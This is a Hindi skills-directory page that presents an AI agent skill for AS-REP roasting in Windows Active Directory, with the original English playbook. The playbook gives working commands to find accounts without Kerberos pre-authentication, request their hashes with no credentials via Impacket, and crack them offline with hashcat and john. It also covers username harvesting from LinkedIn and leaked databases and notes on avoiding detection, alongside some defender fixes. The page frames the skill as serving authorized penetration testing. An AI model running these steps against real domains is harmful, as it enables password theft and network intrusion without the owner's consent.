मुख्य सामग्री पर जाएँ
Skillpedia
सिक्योरिटी6.5k · #13936

asrep-roasting

यह क्या करती है

यह स्किल बताती है कि डोमेन में ऐसे यूज़र खाते कैसे खोजें जिन्हें प्री-ऑथेंटिकेशन की ज़रूरत नहीं, और उनकी ऑफ़लाइन जाँच कैसे करें। यह उन सुरक्षा कर्मचारियों के लिए है जिन्हें Windows डोमेन की जाँच की अनुमति है।

कब इस्तेमाल करें

  • ✓जब कोई सुरक्षा परीक्षक ऐसे डोमेन खाते खोजना चाहता है जिन्हें Kerberos प्री-ऑथेंटिकेशन की ज़रूरत नहीं होती।
  • ✓जब एजेंट को जाँचना हो कि डोमेन कंट्रोलर उन खातों के लिए लॉगिन डेटा लौटाता है या नहीं।
  • ✓जब किसी रिपोर्ट को ऐसे खातों पर कमज़ोर पासवर्ड के जोखिम को समझाना हो।

Skill का लिंक

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/ad/asrep-roasting/SKILL.md

इसे कॉपी करके अपने AI (Claude, ChatGPT या Cursor) में पेस्ट करें और निर्देशों का पालन करने को कहें।

कैसे इस्तेमाल करें

सबसे आसान तरीका: मैसेज कॉपी करके अपने AI में पेस्ट करें। वह skill पढ़कर निर्देशों का पालन करेगा।

पेस्ट करने के लिए तैयार मैसेज

इस skill से मेरी मदद करो: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/ad/asrep-roasting/SKILL.md इस लिंक की SKILL.md फ़ाइल पढ़ो और मेरे काम में उसके निर्देशों का पालन करो।
क्या आप चाहते हैं कि आपका AI ऐसी skills खुद ढूँढे?मुफ़्त Skillpedia MCP इंस्टॉल करें: बस एक लाइन, और हर काम से पहले यह 15,000+ skills में खोजता है।1 मिनट में इंस्टॉल करें →

AI से क्या माँगें: उदाहरण

“क्या आप हमारे अधिकृत टेस्ट डोमेन पर ऐसे खाते खोज सकते हैं जिन्हें Kerberos प्री-ऑथेंटिकेशन की ज़रूरत नहीं है?”

हर हफ़्ते 5 नई skills, 1 मिनट में पढ़ें।

यह कैसे काम करती है

एजेंट डायरेक्टरी क्वेरी या सिक्योरिटी ग्राफ़ से मेल खाने वाले खाते खोजता है, फिर एक अनुरोध टूल चलाता है और ऑफ़लाइन जाँच के लिए जो मिला उसे दर्ज करता है।

तकनीकी सामग्री (मूल SKILL.md)

लेखक का मूल टेक्स्ट, अंग्रेज़ी में, सीधे GitHub से।

AS-REP Roasting Playbook

Prerequisite

None — no valid domain account needed. Network reachability to a DC on TCP/UDP 88 is enough. This makes AS-REP roast more powerful than kerberoast in some engagements (zero-auth pre-recon win).

1. Identify vulnerable users

In a hosted engagement, inspect the authorized collection through bloodhound_mcp_find_objects and bloodhound_mcp_object_profile, or use a bounded read-only bloodhound_mcp_cypher_query when the semantic tools do not expose the required account flag. Confirm collection coverage first. In standalone OSS, use the registered bhce_cypher tool against that instance.

Direct LDAP (if you have any cred or anonymous-bind allowed):

ldapsearch -x -H ldap://DC_IP -D 'USER@DOM' -w 'PASS' \
  -b 'DC=corp,DC=local' \
  '(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304))' \
  sAMAccountName

Or brute-force user discovery (only when no LDAP access):

# Username list from OSINT, kerbrute validates which exist
kerbrute userenum --dc DC_IP -d DOM users.txt

2. Request AS-REP

Impacket (zero-auth path):

GetNPUsers.py DOM/ -dc-ip DC_IP -usersfile /tmp/users.txt \
  -format hashcat -no-pass -outputfile /tmp/asrep.hashes

With creds (more reliable, also enum):

GetNPUsers.py DOM/USER:'PASS' -dc-ip DC_IP -request \
  -format hashcat -outputfile /tmp/asrep.hashes

Output format: $krb5asrep$23$USER@DOM:<ciphertext> (RC4).

3. Crack offline (hashcat mode 18200)

hashcat -m 18200 -a 0 /tmp/asrep.hashes /usr/share/wordlists/rockyou.txt \
        --rules-file /usr/share/hashcat/rules/best64.rule

# John alternative
john --wordlist=rockyou.txt --format=krb5asrep /tmp/asrep.hashes

AS-REP-roastable users tend to be:

  • Legacy service accounts (sysadmin set DONT_REQ_PREAUTH to "fix" a ticket issue in 2014, never reverted)
  • Test / dev accounts with weak passwords
  • Accounts created from a misconfigured PowerShell script

Crack rate is typically higher than kerberoast — these users are often forgotten accounts with weak passwords.

4. Userlist sources when zero-auth

Without LDAP, your userlist comes from:

  • kerbrute userenum against common lists (jsmith.txt, statistically-common-usernames)
  • LinkedIn scrape → format conversion (firstname.lastname, flastname)
  • Github commit emails from company orgs
  • Email leaks (HIBP, Dehashed if op-authorized)
  • Subdomain enumeration → username patterns in metadata

5. Promote

kg_add_node(kind="credential", label="USER:CRACKED_PW",
            props={"source":"asrep-roast","preauth":"disabled"})

OPSEC

  • AS-REQ without pre-auth is event 4768 on the DC
  • Defender's tell: 4768 with Pre-Authentication Type=0 (no preauth)
  • Username enum via kerbrute generates 4768 spam — throttle or accept detection if engagement allows
  • A single AS-REP request per known user is quieter than enumeration

CVSS

  • Multiple roastable + crackable: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H = 10.0 (PR:N because no creds needed)
  • One roastable, uncrackable: Informational + fix recommendation

Defender fix

Remove DONT_REQ_PREAUTH flag:

Set-ADAccountControl -Identity USER -DoesNotRequirePreAuth $false

Audit policy: UserAccountControl & 0x400000 should be zero on all real users.

अक्सर पूछे जाने वाले सवाल

क्या इस स्किल के लिए डोमेन पर लॉगिन चाहिए?

स्किल कहती है कि यह बिना वैध खाते के भी काम कर सकती है, लेकिन लॉगिन वाला टेस्ट अधिक भरोसेमंद होता है।

खाते खोजने के लिए यह किस पर निर्भर है?

यह अपनी गाइड में बताई गई डायरेक्टरी क्वेरी या BloodHound विश्लेषण टूल का इस्तेमाल करती है।

क्या यह किसी भी नेटवर्क पर सुरक्षित है?

नहीं। यह केवल उन नेटवर्क के लिए है जिनके मालिक ने टेस्ट की अनुमति दी हो।

जानकारी

लेखक का मूल विवरण

Request AS-REP for accounts with DONT_REQ_PREAUTH set and crack offline — like kerberoast but no auth required.

repo: BitterSecurity/Decepticon

लोकप्रियता

GitHub स्टार
6.5k
रैंकिंग में स्थान
#13936
लाइसेंस
Apache-2.0
अपडेट की गई
1/11/2026

क्या यह skill काम की है?

0

लॉग इन करें वोट करने के लिए।

कमेंट

  • …

इस repository की और skills

detector-overview

6.5k

यह आपके एजेंट को स्कैनर से चिह्नित कोड पढ़ने और तय करने में मदद करती है कि कौन सी जगहें असली सुरक्षा बग हैं और कौन सी गलत चेतावनी।

कोडिंगसिक्योरिटी

exploiter-overview

6.5k

यह आपके एजेंट को कई पक्की सुरक्षा कमज़ोरियों को एक परीक्षण श्रृंखला में जोड़ने और जाँचने में मदद करती है कि वह श्रृंखला कितनी दूर तक पहुँच सकती है।

कोडिंगसिक्योरिटी

llm-redteam-overview

6.5k

यह आपके एजेंट को परीक्षण के लिए सही AI रेड-टीम गाइड खोजने में मदद करती है, प्रॉम्प्ट इंजेक्शन से लेकर मॉडल के दुरुपयोग तक 15 रणनीति समूहों में।

कोडिंगसिक्योरिटी

aatmf-t01-prompt-injection

6.5k

समझाती है कि प्रॉम्प्ट इंजेक्शन क्या है, जिसमें छिपे निर्देश AI सिस्टम के नियम बदलने की कोशिश करते हैं, ताकि सुरक्षा परीक्षक उसकी जाँच कर सकें।

कोडिंगसिक्योरिटी

मिलती-जुलती skills